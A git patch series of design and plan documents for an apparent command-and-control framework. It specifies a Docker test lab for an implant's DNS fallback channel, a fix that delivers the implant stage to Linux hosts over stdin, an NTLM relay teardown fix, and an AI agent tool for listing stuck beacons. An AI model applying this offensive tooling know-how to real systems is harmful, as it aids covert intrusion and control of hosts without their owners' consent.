From 1b88f61989b04c3082bbb9c33ab46c9ca79077bb Mon Sep 17 00:00:00 2001 From: Benji Trapp Date: Sun, 15 Nov 2026 18:45:47 +0100 Subject: [PATCH 01/22] docs: design for a reproducible end-to-end lab in Docker Awaiting approval; no implementation yet. Four defects shipped in the DNS rescue channel and the 3257-test suite found none of them. Two were platform defects that cannot show on macOS, and the VM that did show one lost its network mid-run. This describes a lab where the Linux end-to-end run is reproducible and cheap enough for CI. Severance is by topology: the beacon sits on a network the team server is not on, so HTTPS, SMB and QUIC fail because they do not route. Every constraint in the document was measured on this machine rather than assumed, including that container-to-container UDP works while published UDP on macOS does not -- which is why the beacon is a container. A builder check found three things the first draft got wrong, all now fixed in the document: a statically severed beacon can never be attributed (the implant assigns its agent id only in the HTTPS registration path), 'nothing published' would have left the driver unable to read the record it asserts on, and the smb-up scenario as drafted could not pass. It also surfaced a product gap the lab does not fix: unattributed_rescues is never served over HTTP, so a beacon that never registered is invisible to every operator. --- .../specs/2026-11-15-e2e-docker-lab-design.md | 358 ++++++++++++++++++ 1 file changed, 358 insertions(+) create mode 100644 docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md diff --git a/docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md b/docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md new file mode 100644 index 0000000..73295c3 --- /dev/null +++ b/docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md @@ -0,0 +1,358 @@ +# A reproducible end-to-end lab in Docker + +## Intent, and the why + +Four defects shipped in the DNS rescue channel (#4, #5). The 3257-test +suite found none of them. What found them was running the thing: a review +with fresh context, a loopback run on the Mac, a run in a ParrotOS VM, +and opening the operator console in a browser. + +Two of those four were platform defects. A dead QUIC endpoint raises +`ConnectionRefusedError` on macOS and merely times out on Linux, because +an unconnected UDP socket is never handed the ICMP port-unreachable. The +implant targets Linux. So a test that passes on the developer's Mac is +not evidence about the platform the implant runs on, and a hand-kept VM +is not evidence anyone else can reproduce: that VM lost its network and +guest agent mid-run and the second scenario never completed. + +This lab makes the Linux end-to-end run reproducible, cheap enough for +CI, and extensible to the transports that come later. + +## Goals + +1. **Severance by topology.** A beacon whose HTTPS, SMB and QUIC legs + fail because those addresses do not route — not because a test points + them at a closed port and not because a stub returns `None`. Severance + happens to a beacon that was healthy a moment ago, which is both the + realistic life-cycle and, as it turns out, the only one the feature can + attribute (see "The life-cycle the lab has to model"). +2. **A real recursive resolver in the path.** `dnsmasq`, with the + beacon's resolver pointing at it and `beacon._DNS_PORT` untouched, so + the hop the rescue channel rests on is exercised rather than bypassed. +3. **Reproducible by anyone.** One command, no hand-kept VM, no state + that survives a run. +4. **CI-capable.** Build and run inside a GitHub Actions job without + the shipped team-server image, whose build takes many minutes. +5. **Extensible per transport.** Adding the SMB or QUIC leg as a reachable + listener must be a compose-level change, not a rewrite. + +## Non-goals + +- **Replacing the unit suite.** The suite stays the primary guard. The lab + proves integration, which is what unit tests structurally cannot. +- **Testing the shipped team-server image by default.** That image carries + gcc, nmap, freerdp2-x11, tigervnc, pipx-installed NetExec, a Responder + clone and a RelayKing clone. A flag may select it; CI will not. +- **Touching `software/c2/docker-compose.yml`.** That file describes a + deployment. A lab is not a deployment and must not make the shipped one + harder to read. +- **A second implementation of anything.** The lab runs `software/c2` as + it stands. No test double of the server, the listener or the beacon. +- **Forcing the pure-Python cipher.** This was a goal in the first draft + and is dropped, because there is no honest way to reach it here. + `_USE_PURE_PYTHON_AES` is decided at import time by `_load_libcrypto()` + with no hook, so forcing it needs either a product-side override — the + implant growing an environment variable for a lab's benefit — or an + image where loading genuinely fails, and deleting `libcrypto.so.3` from + `python:3.12-slim` takes `ssl`, `requests` and the HTTPS leg with it. A + musl image where `find_library` genuinely returns nothing would be + honest, and is a later addition rather than a reason to hold this up. + The cipher itself is covered: `software/tests/test_tunnel_endpoint.py` + toggles the flag and exercises both paths. My call. + +## Anti-goals + +Things that would make this a failure even if it ran green: + +- **A lab that only works on one developer's machine.** If it needs + colima specifically, or a published UDP port, it has reproduced the VM + problem in a new place. +- **Failures simulated rather than caused.** If the beacon's HTTPS leg + fails because a Python stub returned `None`, the lab proves nothing the + unit tests did not already prove more cheaply. +- **A green run that would stay green with the feature removed.** Each + scenario must fail when its subject is reverted. This is checked by + mutation, per scenario, and recorded. +- **Something nobody runs.** If it is slower or more awkward than the VM + it replaces, it will rot. + +## Constraints, measured on this machine + +| Fact | Measured | +|---|---| +| Container-to-container UDP | Works. A 143-byte datagram arrived and was answered. | +| **Published** UDP ports on macOS | Do not work. `tools/listener_docker_rig.py` documents this and skips DNS and QUIC for that reason. | +| Cross-network reachability | A container on another network cannot even resolve the name. | +| Repo visibility in the VM | `/Users/derbenji` is mounted virtiofs; `/private/var/folders/...` is **not**. | +| `software.c2.server` imports | Fine with only `flask` and `cryptography`. No impacket at import time. | +| Docker here | 29.5.2, `linux/aarch64`, 4 CPU, 8 GB, via colima. | +| `docker network disconnect` on a running container | Works, and severs completely: after it the service is unreachable by name **and** by IP. | + +The first two together are the whole reason for the topology below: +**no UDP may be published to the host.** The beacon runs in a container +so that the datagram never crosses the host boundary. + +The measured limit is specific to UDP — the same rig measures TCP +publishing as working — so the operator's TCP socket **is** published, and +that is what the driver and a browser use. The first draft said "nothing +may be published", which was an overcorrection that would have left the +driver unable to read the very record it asserts on. + +A third constraint comes from `dnsmasq`: `server=/zone/addr#port` takes an +IP address, not a hostname. Docker's embedded DNS cannot help, because +dnsmasq parses its config before it could resolve anything. + +## Approaches + +Three were considered. The operator picked B. + +**A — extend `software/c2/docker-compose.yml` with a `lab` profile.** +Rejected. The team server and agent there use `network_mode: host`, which +removes both the service-name resolution and the network separation this +lab is built on, and the team-server image's build takes many minutes. +Reuse would cost more than it saves and would make the shipped file +harder to read. + +**B — a separate lab compose plus a driver, with genuinely separated +hosts.** Chosen. Five roles on three networks; failures caused by +routing. Costs a second compose file to keep in step with the shipped +one, and by default proves the code rather than the shipped packaging — +mitigated by a flag that selects the shipped image. + +**C — one container running everything over loopback.** The VM rig in a +costume. Cheapest, closes the Linux gap today, but no severance, failures +still simulated, and it does not grow into the lab the operator asked +for. Kept in mind as the fallback if B proves unworkable on a CI runner. + +## The topology + +Three networks, so that a leg fails because it cannot route: + +``` + beacon-net c2-net + ┌──────────────┐ ┌──────────────┐ + │ beacon │──────┐ │ teamserver │ + └──────────────┘ │ └──────┬───────┘ + │ │ + ┌─────▼─────┐ │ + │ resolver │ │ relay-net + │ (dnsmasq) │ └──────────────┐ + └─────┬─────┘ │ + │ forwards the zone │ + ┌─────▼──────────┐ │ + │ listener-dns │──────────────────┘ + └────────────────┘ +``` + +- **`beacon-net`** holds the beacon, the resolver, and nothing else. The + team server's address is not on it, so HTTPS cannot route. SMB and QUIC + point at addresses on `c2-net`, which the beacon is not attached to. +- **`relay-net`** joins each listener to the team server's beacon socket. + A listener needs it; the beacon must never be on it. +- **`c2-net`** carries the operator socket and is where a browser or the + driver reaches the GUI and API. + +The listener is on `beacon-net` **and** `relay-net`. That is the whole +point of a listener: it is the one thing that bridges. + +### The life-cycle the lab has to model + +The builder check found that a statically severed beacon cannot work, and +it is right. `_agent_id` is assigned in exactly one place in the implant — +the HTTPS registration path (`beacon.py:5443`). The rescue record is +fingerprinted from `self._agent_id or self._implant_id`, and the server +attributes it by matching `fingerprint(agent_id)` against the **fleet +key**, which is the assigned name. A beacon that has never registered +therefore fingerprints its implant id, matches nothing, and its rescue +lands in `unattributed_rescues`. + +So the lab models the life-cycle instead of a frozen state, in three +steps: + +1. The beacon container starts attached to `c2-net` as well, checks in + over HTTPS for real, and is assigned a name by the server. +2. `docker network disconnect c2-net beacon` — measured above to sever + completely, by name and by IP. +3. Only now does the driver assert the negative space, and only then does + the stuck loop run. + +This is more realistic than the static version, not less: a beacon that +matters is one that worked and then stopped being able to. It is also +entirely lab-side — no product change — which is why it was chosen over +the alternatives the check listed (adding an operator route for +unattributed rescues, or widening the server's matching). + +### A product gap this exposes, and does not fix + +`unattributed_rescues` is appended to and trimmed and **never served over +HTTP**. A beacon that never managed to register at all is therefore +invisible: its diagnosis is decoded, stored in memory, and cannot be read +by any operator. That is a real gap in the feature — and the affected +beacon is precisely the one most likely to be stuck, since never +registering means the way out was never open. + +Out of scope here. A lab is not the place to change the product, and this +deserves its own change with its own tests. Recorded so it is not +rediscovered. + +### Severance is asserted, not assumed + +A lab whose isolation silently breaks would report success for the wrong +reason. So the driver asserts the negative space after the disconnect and +before it runs anything: from inside the beacon container, a TCP connect +to the team server's beacon socket must fail, and the SMB and QUIC +addresses must be unreachable. If any of them succeeds, the run aborts and +says the lab is mis-wired. This is cheap and it is the difference between +proving a property and hoping for one. + +### Why the beacon is a container and not the driver process + +The driver runs on the host. If the beacon ran there too, its DNS query +would have to reach the resolver through a published UDP port, which is +measured not to work on macOS. Putting the beacon in a container keeps +every datagram inside Docker's network, where it is measured to work, and +has the larger benefit that the beacon's view of the network is the +container's — which is what makes severance real. + +## The images + +| Image | Base | Contents | +|---|---|---| +| `lab-teamserver` | `python:3.12-slim` | `flask`, `cryptography`. Source bind-mounted. | +| `lab-beacon` | `python:3.12-slim` | `requests` only. Source bind-mounted. | +| `lab-resolver` | `debian:stable-slim` | `dnsmasq`. No project source. | +| listeners | existing `software/c2/listeners/Dockerfile` | unchanged, stdlib only, `USER 65534`, `cap_drop: [ALL]` | + +The listener image is reused as it ships, unmodified. That is deliberate: +the lab should exercise the artefact the project publishes, and a listener +is the one role where that artefact is already cheap to build. + +**Source arrives by read-only bind mount, not `COPY`.** The lab then tests +the working tree, which is what a developer wants from a pre-push check +and what CI wants from a pull request. `COPY` would test a snapshot taken +at build time and would need a rebuild per edit. The mount is `:ro` so a +container cannot write into the checkout. + +My call, as is the choice of two thin images over one shared one: the +beacon must not have `flask` available, because a beacon that can import +the server is a beacon that might. + +## The driver + +`tools/e2e_lab.py`, following the house pattern that +`tools/listener_docker_rig.py` set: bring it up, run one scenario, assert, +tear down, exit non-zero on failure. It is not a unittest module, because +it needs Docker and must be skippable; it prints what it checked and why. + +``` +python3 tools/e2e_lab.py # every scenario +python3 tools/e2e_lab.py rescue # one of them +python3 tools/e2e_lab.py --keep # leave it up to look at +python3 tools/e2e_lab.py --shipped-image # the real team-server image +``` + +With no Docker it exits 2 and says so, rather than failing in a way that +looks like a product fault — the existing rig's convention. + +The compose file, the resolver config template and the two Dockerfiles +live in `software/tests/lab/`. The driver lives in `tools/` with the other +rigs. Splitting them is my call: `tools/` is where this project keeps +things a human runs, and a compose file is not that. + +### Scenarios + +1. **`rescue`** — the named gap. HTTPS, SMB and QUIC cannot route; the + resolver answers and the listener relays. Asserts: exactly **one** + rescue query in the resolver's own query log across four stuck cycles, + the name under 253 characters with no label over 63, and the operator's + agent record carrying a `stuck` summary naming the right legs. +2. **`stale-token`** — the scenario the VM died before reaching, and the + one that proves the leg-recording fix on Linux. The listener holds a + token the server no longer accepts, so tasking over DNS returns nothing + while the rescue still arrives, because the rescue goes through the + beacon handler and needs no listener token. The ladder therefore runs + all the way down and both lower legs are really attempted. Asserts: + SMB and QUIC are reported as attempted-and-failed, **not** as + `not_attempted`. +3. **`smb-up`** — the first of the later transports, and the proof that + the shape extends. The builder check showed the first draft of this + scenario could not pass: with DNS enabled and delivering, the ladder + stops at DNS, `delivered_by` is `"dns"` which is not upstream, and a + rescue **is** sent. Simply disabling DNS would make "no rescue" vacuous, + because `_maybe_rescue` returns immediately when DNS is off. So the + scenario keeps the stale-token listener — the resolver answers, the + latch is genuinely armed, tasking over DNS returns nothing — and adds + the SMB listener to `beacon-net` with a valid token. Asserts: tasking + arrives over **SMB**, and **no** rescue is sent, because an upstream leg + delivered while the latch was armed and could have fired. + +Scenario 2 is the one that must fail against the parent of the +leg-recording fix (`3dad39e`). Scenario 1's subject is the trigger +condition `delivered_by not in _RESCUE_UPSTREAM`; reverting it to +`tasking is None` must make it fail. Scenario 3 is **exempt**: it guards a +property of the lab, not a product change, so there is nothing to revert — +stated here so its absence is not read as an oversight. Results go in the +ledger at `.superpowers/sdd/2026-11-15-e2e-docker-lab/progress.md`, the +place this project already keeps them, either way. + +### What the driver asserts, and from where + +Evidence comes from the components, never from the driver's own +bookkeeping: + +- **the resolver's query log** (`log-queries`) for what crossed the wire, + because a name only appears there if a real resolver parsed it; +- **the operator API** (`/api/agents`, authenticated) for what the server + decoded; +- **the beacon container's exit code and stdout** for what the implant + did. + +Caching stays **on** in dnsmasq. The listener answers with TTL 1 and a +cached rescue would be a defect worth catching, so switching the cache off +would hide it. + +## CI + +`.github/workflows/ci.yml`, new; this repository has no CI today. Two +jobs, because they fail for different reasons and a reader should be able +to tell which broke: + +| Job | Runs | Why | +|---|---|---| +| `tests` | the full unittest suite | the primary guard, ~7 minutes locally | +| `lab` | `python3 tools/e2e_lab.py` | the integration proof | + +On `ubuntu-latest`, where Docker is present and published UDP is iptables +rather than a userspace proxy — so the lab is, if anything, less +constrained there than here. + +Running both rather than only the lab is my call. A repository with no CI +gains more from the suite than from the lab, and the lab's value is +precisely that it covers what the suite cannot; running one without the +other would misrepresent either. + +Two things CI must not do, and the workflow will say so: no secrets (the +lab generates its key per run with `os.urandom`), and no network egress +beyond the base images. + +## Risks, and what each would look like + +| Risk | How it shows | What then | +|---|---|---| +| aarch64 here, amd64 in CI | passes locally, fails in CI | base images are multi-arch; the driver prints `uname -m` so a report says which | +| `dnsmasq` needs an IP, not a name | resolver exits at start | static IPs on `beacon-net` via a declared subnet | +| compose drifts from the shipped file | lab proves a shape nobody deploys | the listener image is the shipped one; a test asserts the lab's listener command matches the shipped file's | +| the lab rots | nobody runs it | CI runs it on every push; that is the point of the workflow | +| a container leaks between runs | flaky, confusing | fixed project name, `down -v` in a `finally`, and the driver refuses to start if the project's containers already exist | + +## Left to the builder + +- The exact subnet numbers and static IPs. +- Whether the resolver config is a template the driver renders or a file + per scenario. Either is fine; the driver must print the effective config + on failure. +- How the beacon container is parameterised: environment variables or a + JSON config on the mount. The repository's beacon takes a config dict, + so a small entry script is expected either way. +- The waiting strategy. Poll a condition; never `sleep` a fixed guess, + and say in the failure message which condition was still unmet. From a12577fbc050244ba33adf3feab01ac77a243b17 Mon Sep 17 00:00:00 2001 From: Benji Trapp Date: Mon, 16 Nov 2026 08:28:08 +0100 Subject: [PATCH 02/22] docs: the three Linux defects the lab's CI job uncovered Measured before writing the workflow, by running the suite in a Linux container on python 3.9. 3438 tests ran there against 3258 on macOS -- 180 that had never executed anywhere. Without git, ffmpeg and procps in the image: 19 errors, 6 failures, none of which say anything about the code. With them, three remain, and all three are real defects on the platform the implant targets. The Unix one-liner cannot be executed on Linux at all: the stage is 135,492 bytes and the kernel refuses any argv entry over 131,072 (measured exactly at the boundary). No quoting avoids it, and the POSIX stager's eval path hits the same wall. docs/TUNNEL.md calls that path the common case on Linux, which is false. And stop() on the NTLM relay closes a socket another thread is blocked in accept() on, which is undefined in POSIX: macOS wakes it, Linux leaves the port bound and accepting. The operator believes the relay is down while the target still has an open port. In scope by the operator's decision, sequenced first so they can be split out if the two worktrees working in that code conflict. --- .../specs/2026-11-15-e2e-docker-lab-design.md | 82 ++++++++++++++++++- 1 file changed, 81 insertions(+), 1 deletion(-) diff --git a/docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md b/docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md index 73295c3..7666327 100644 --- a/docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md +++ b/docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md @@ -319,13 +319,25 @@ to tell which broke: | Job | Runs | Why | |---|---|---| -| `tests` | the full unittest suite | the primary guard, ~7 minutes locally | +| `tests` | the full unittest suite | the primary guard, ~7 minutes locally, ~10 in a container | | `lab` | `python3 tools/e2e_lab.py` | the integration proof | On `ubuntu-latest`, where Docker is present and published UDP is iptables rather than a userspace proxy — so the lab is, if anything, less constrained there than here. +The `tests` job needs three system packages the suite reaches for and +`python:3.9-slim` does not carry: **`git`** (the requirements-floor and +leak-walk tests shell out to it), **`ffmpeg`** (the figure and GIF tools +encode with it) and **`procps`** (`ps`, which the supervisor and tunnel +spawn tests read a child's command line with). Measured: without them, +19 errors and 6 failures that say nothing about the code. + +Python is pinned to **3.9**, because `software/tests/requirements.txt` +states that is the interpreter the suite runs in and has only ever run +against. Testing a version nobody develops against would report failures +nobody asked for. + Running both rather than only the lab is my call. A repository with no CI gains more from the suite than from the lab, and the lab's value is precisely that it covers what the suite cannot; running one without the @@ -335,6 +347,74 @@ Two things CI must not do, and the workflow will say so: no secrets (the lab generates its key per run with `os.urandom`), and no network egress beyond the base images. +## Three Linux defects this work also fixes + +Not part of the lab, and in scope by the operator's decision: the Linux +suite was run in a container before the CI job was written, and what it +found is the best argument for that job existing. + +Without `git`, `ffmpeg` and `procps` in the image: 19 errors, 6 failures. +With them: **three remain**, and all three are real defects on the +platform the implant targets. 3438 tests ran on Linux against 3258 on +macOS — 180 that had never executed anywhere. + +### 1. The Unix one-liner cannot be executed on Linux at all + +`oneliner_unix` is `python3 -c ""` and the stage is **135,492 +bytes**. Linux refuses any single `argv` entry over **131,072** — +measured exactly: 131,072 passes, 131,073 raises `OSError 7, Argument +list too long`. This is not a shell limit and no quoting avoids it; it is +`MAX_ARG_STRLEN` in `execve`. macOS has no equivalent, which is why this +has never been seen here. + +Both Linux delivery routes are therefore dead. The pasted one-liner +cannot run, and the POSIX stager's probe-and-delegate path cannot either: +it does `eval ''`, and although `eval` is a shell builtin the +shell must still `execve` python with the oversized argument. Measured: +`eval: python3: Argument list too long`. + +`docs/TUNNEL.md` documents the Windows one-liner as undeliverable at this +size and says of the POSIX stager that "on a host that has a Python it +runs the ordinary one-liner, which is the common case on Linux and +macOS". That sentence is false, and it names the project's primary target. + +**The fix: the stage moves from python's argv to python's stdin.** +`printf %s "" | python3 -`. Measured to deliver 135,491 bytes and +execute. `printf` is a shell builtin in dash, bash and busybox ash, so +nothing `execve`s the payload; the only exec is python itself, with a +tiny argument list. The existing quoting invariant survives untouched — +the stage still carries no `$`, backtick, backslash or `"`, so the +double-quoted form is still safe, and `eval` in the stager handles a pipe +as readily as a command. + +This is my call on the shape of a shipped artifact, so it is worth saying +what it does **not** change: the Windows one-liner stays as it is, since +it is already documented as undeliverable and is used through +`Invoke-Expression`, where no length limit applies. `docs/TUNNEL.md` gains +the Linux limit it was missing. + +### 2. and 3. `stop()` leaves the NTLM relay's port accepting on Linux + +`_NtlmProxyRelay.stop()` sets `_running = False`, closes the listening +socket, and joins the thread. The thread is blocked in `accept()`. +Closing a descriptor another thread is blocked on is undefined in POSIX: +macOS wakes the `accept()`, Linux does not, and the socket stays bound +and **accepting** until it returns. Two tests prove it — +`test_stop_closes_listener` and `test_stop_tears_down_relay` — by +connecting after `stop()` and getting a connection instead of a refusal. + +The operator believes the relay is down and the target still has an open, +accepting port. The portable fix is `shutdown(SHUT_RDWR)` before `close()`, +which does wake a blocked `accept()` on both platforms, with the existing +`OSError` arm of the loop catching the result. + +Both of these live in tunnel and implant code that two other worktrees +are currently working in (`reverse-socks-tunnel`, `implant-shell-session`). +That is a real conflict risk and the reason I proposed a separate branch; +the operator chose to carry them here, so the plan sequences them **first**, +each with its own commit, so they can be split out if a conflict makes +that necessary. + ## Risks, and what each would look like | Risk | How it shows | What then | From 50b8ef0b2ef321dfe02893aa51d60cc2cd306dd8 Mon Sep 17 00:00:00 2001 From: Benji Trapp Date: Mon, 16 Nov 2026 08:36:07 +0100 Subject: [PATCH 03/22] docs: close the gap too -- a rescue nobody can see The operator brought the unattributed_rescues gap into scope. Four surfaces, because each reaches a different reader: a log event on arrival so it is never silent, an authenticated operator route, a separate key on the agent tool (separate because there is no beacon id to task and a model must not mistake one for something actionable), and a bell notification, because visible in a drawer nobody opens is not addressed. The notification is the only part that edits _OPERATOR_HTML, so its acceptance is a browser rather than a regex. A source-level assertion that a string is present is exactly what let escHtml(info.stuck.summary) ship and destroy the whole agent panel. --- .../specs/2026-11-15-e2e-docker-lab-design.md | 57 +++++++++++++++++-- 1 file changed, 53 insertions(+), 4 deletions(-) diff --git a/docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md b/docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md index 7666327..7b8713f 100644 --- a/docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md +++ b/docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md @@ -182,7 +182,7 @@ entirely lab-side — no product change — which is why it was chosen over the alternatives the check listed (adding an operator route for unattributed rescues, or widening the server's matching). -### A product gap this exposes, and does not fix +### A product gap this exposes, and the operator decided to close `unattributed_rescues` is appended to and trimmed and **never served over HTTP**. A beacon that never managed to register at all is therefore @@ -191,9 +191,8 @@ by any operator. That is a real gap in the feature — and the affected beacon is precisely the one most likely to be stuck, since never registering means the way out was never open. -Out of scope here. A lab is not the place to change the product, and this -deserves its own change with its own tests. Recorded so it is not -rediscovered. +It was out of scope in the first draft. The operator brought it in; see +"The gap in scope: a rescue nobody can see" below for the four surfaces. ### Severance is asserted, not assumed @@ -415,6 +414,56 @@ the operator chose to carry them here, so the plan sequences them **first**, each with its own commit, so they can be split out if a conflict makes that necessary. +## The gap in scope: a rescue nobody can see + +In scope by the operator's decision, having been flagged above as +deliberately excluded. + +`unattributed_rescues` is a module-level list. `_handle_rescue` appends to +it when no agent's fingerprint matches, trims it to 50, and **nothing +reads it** — there is no route, no GUI surface, no log line. A beacon that +never managed to register is therefore invisible: its diagnosis is +received, decrypted, decoded and discarded into memory. That beacon is the +one most likely to be stuck, because never registering means the way out +was never open. + +Three surfaces, in increasing cost, and all three are needed because each +reaches a different reader: + +1. **A log event on arrival.** `_log_event("RESCUE", …)` the moment a + record cannot be attributed. The Server Log drawer already renders + entries and already escapes them, so this costs no GUI code and makes + the event non-silent immediately. Safe to log in full: the record holds + a 2-byte fingerprint and leg codes, and no string from the target can + reach it by construction. +2. **An authenticated operator route.** `GET /api/rescues/unattributed`, + returning the structured records. Operator socket only, like every + other `/api/` route. +3. **The agent tool.** `get_stuck_beacons` gains an `unattributed` key + beside `stuck`. Deliberately a separate key: there is no beacon id to + task, so a model must not be able to mistake one of these for something + it can act on. The tool's description has to say that. + +And one that touches the operator HTML, which is where this feature's +worst defect came from yesterday: + +4. **A bell notification.** "Visible in a drawer nobody opens" is not + addressed, so the GUI polls the new route and raises a `toast`. This is + the only part that edits `_OPERATOR_HTML`, so the plan gives it its own + task whose acceptance is **a browser, not a regex**: the panel must be + opened and the notification seen. A source-level assertion that a + string is present is what let `escHtml(info.stuck.summary)` ship and + destroy the whole agent panel. The cross-GUI helper guard added in that + fix now catches that specific class automatically, which lowers the risk + but does not remove the rule. + +My call on what this does **not** do: it does not try to attribute these +records after the fact. Matching a late registration back to an earlier +unattributed rescue would need the implant id in the record, the record is +16 bytes by design, and widening it to carry one would change the wire +format for a convenience. An operator who sees "something out there is +stuck and here is why" has what this feature promised. + ## Risks, and what each would look like | Risk | How it shows | What then | From 7075b29680bd7e47c78b45c2e6f82b98365ad1c7 Mon Sep 17 00:00:00 2001 From: Benji Trapp Date: Mon, 16 Nov 2026 08:39:50 +0100 Subject: [PATCH 04/22] docs: plan for the Linux end-to-end lab and the three defects Nine tasks. The two platform fixes come first, in their own commits, so they can be split out if the two worktrees working in tunnel and implant code conflict. Then the four surfaces that make an unattributed rescue visible, then the lab's containers, its driver and the three scenarios, then CI. Each scenario must fail when its subject is reverted, and the plan names which commit to revert for two of them; the third is exempt because it guards a property of the lab rather than a product change, which is stated so its absence is not read as an oversight. The notification task's acceptance is a browser, not a regex. A source-level assertion that a string is present is what let escHtml(info.stuck.summary) ship and destroy the whole agent panel. --- .../plans/2026-11-16-e2e-docker-lab.md | 601 ++++++++++++++++++ 1 file changed, 601 insertions(+) create mode 100644 docs/superpowers/plans/2026-11-16-e2e-docker-lab.md diff --git a/docs/superpowers/plans/2026-11-16-e2e-docker-lab.md b/docs/superpowers/plans/2026-11-16-e2e-docker-lab.md new file mode 100644 index 0000000..7729d42 --- /dev/null +++ b/docs/superpowers/plans/2026-11-16-e2e-docker-lab.md @@ -0,0 +1,601 @@ +# Linux end-to-end: a reproducible lab, and the three defects it found + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Make the project's Linux behaviour provable — a Docker lab where a beacon's legs fail because they do not route, a CI job that runs it and the suite, and fixes for the three Linux defects that writing the CI job uncovered. + +**Architecture:** Three container networks put the beacon somewhere the team server is not, so HTTPS, SMB and QUIC fail by routing rather than by stub. A `dnsmasq` container sits in front of the DNS listener, so the hop the rescue channel rests on is exercised. A driver in `tools/` brings the lab up, runs one scenario, asserts against the resolver's own query log and the operator API, and tears down. + +**Tech Stack:** Docker Compose, `dnsmasq`, `python:3.12-slim`, the project's existing `software/c2/listeners/Dockerfile`, stdlib `unittest`, GitHub Actions. + +**Spec:** `docs/superpowers/specs/2026-11-15-e2e-docker-lab-design.md` + +## Global Constraints + +- The suite runs as `/usr/bin/python3 -m unittest discover -s software/tests -t .` (Python 3.9.6, ~7 minutes, 3258 tests on macOS). `pytest` is not installed. +- CI pins **Python 3.9** and installs **`git`, `ffmpeg`, `procps`**; without them the suite reports 19 errors and 6 failures that say nothing about the code. +- The beacon stays **stdlib-only**. `software/c2/listeners/` stays stdlib-only and must not import `server.py` or `beacon.py`. +- `software/c2/docker-compose.yml` is **not modified**. It describes a deployment. +- The lab publishes **no UDP port**. TCP for the operator socket is published and is how the driver and a browser reach it. +- Linux refuses any single `argv` entry over **131072** bytes (measured: 131072 passes, 131073 raises `OSError 7`). +- The rescue record stays **16 bytes**. No task widens the wire format. +- The stage carries no `$`, backtick, backslash or `"`. Any new one-liner form must keep that invariant true. +- Tasks 1 and 2 touch tunnel and implant code that `reverse-socks-tunnel` and `implant-shell-session` are working in. They come first, in their own commits, so they can be split out if a conflict demands it. + +## Review Focus + +1. **The stage grows past 131072 again.** Task 1 removes today's limit by moving the payload to stdin, but nothing bounds the one-liner's size, so a future form that reverts to `-c` would fail silently on Linux only. Task 1 adds a test that no generated artifact puts a payload in an `argv` entry. +2. **A toast storm.** The notification in Task 5 polls a list that is capped at 50 and never cleared, so a naive poll re-fires for every record on every tick. Task 5 adds a test that a record already seen raises no second notification. +3. **A rescue for a beacon the operator removed.** Attribution matches the live fleet, so a record for an agent that has since been deleted lands in the unattributed list. Task 3 adds a test that this is reported rather than dropped, and that nothing from the record is trusted as an agent id. +4. **Containers left behind by a crashed run.** A driver that reuses a stale container would report a pass that means nothing. Task 7 adds a test that the driver refuses to start when its project's containers already exist. +5. **`printf` is not a builtin.** Task 1's form relies on `printf` being internal to the shell; where it is an external binary the payload becomes an `argv` entry again and the limit returns. Task 1 adds a test asserting the one-liner uses only shell-internal mechanisms for the payload, and `docs/TUNNEL.md` states the requirement. + +--- + +## File Structure + +| File | Responsibility | +|---|---| +| `software/c2/server.py` | Modify: the one-liner's form (~1896); `_log_event` on the unattributed branch and the new route (~2951) | +| `software/c2/beacon.py` | Modify: `_NtlmProxyRelay.stop` (~2097) | +| `software/agent/c2client.py` | Modify: add `unattributed_rescues()` beside `list_agents()` (~270) | +| `software/agent/tools/egress.py` | Modify: `get_stuck_beacons` gains an `unattributed` key | +| `docs/TUNNEL.md` | Modify: the Linux argv limit, and that the payload travels on stdin | +| `software/tests/lab/docker-compose.yml` | Create: the five roles on three networks | +| `software/tests/lab/teamserver.Dockerfile` | Create: `python:3.12-slim` + flask, cryptography | +| `software/tests/lab/beacon.Dockerfile` | Create: `python:3.12-slim` + requests | +| `software/tests/lab/resolver.Dockerfile` | Create: `debian:stable-slim` + dnsmasq | +| `software/tests/lab/beacon_entry.py` | Create: builds the beacon config, runs the stuck loop, prints a verdict | +| `tools/e2e_lab.py` | Create: the driver — up, scenario, assert, down | +| `software/tests/test_e2e_lab.py` | Create: tests of the driver and the compose file that need no Docker | +| `software/tests/test_dns_rescue.py` | Modify: the unattributed surfaces | +| `software/tests/test_tunnel_spawn.py` | Modify: the one-liner's form | +| `software/tests/test_beacon.py` | Modify: the relay teardown | +| `.github/workflows/ci.yml` | Create: the `tests` and `lab` jobs | + +--- + +### Task 1: The Unix one-liner stops putting its payload in argv + +**Files:** +- Modify: `software/c2/server.py:1896` (`oneliner_unix`) +- Modify: `docs/TUNNEL.md:516` and `:586` +- Test: `software/tests/test_tunnel_spawn.py` + +**Interfaces:** +- Consumes: nothing. +- Produces: `oneliner_unix` is `printf %s "" | python3 -`. `oneliner_win` is unchanged. `render_stager("posix", oneliner=…)` already escapes single quotes for `eval '…'`, so no change there. + +- [ ] **Step 1: Write the failing tests** + +In `software/tests/test_tunnel_spawn.py`, in the class that owns the one-liner (`TestGeneratedArtifactKeepsItsSource`): + +```python +def test_no_generated_artifact_puts_the_payload_in_an_argv_entry(self): + # Review Focus 1. Linux refuses any single argv entry over 131072 + # bytes, so a payload passed as `python3 -c ""` cannot be + # executed there at all -- not by any quoting, and not through the + # POSIX stager, which `eval`s the same text and then has to exec + # python with it. macOS has no such limit, which is why this was + # invisible here. + MAX_ARG_STRLEN = 131072 + body = self.generate(1) + one = body["oneliner_unix"] + self.assertGreater(len(one), MAX_ARG_STRLEN, + "the stage shrank; this test no longer proves anything") + self.assertNotIn("python3 -c", one) + self.assertIn("| python3 -", one) + +def test_the_payload_travels_on_stdin_through_a_shell_builtin(self): + # Review Focus 5. `printf` is internal to dash, bash and busybox ash, + # so nothing execs the payload. An external printf would put it back + # in an argv entry and restore the limit. + one = self.generate(1)["oneliner_unix"] + self.assertTrue(one.startswith("printf 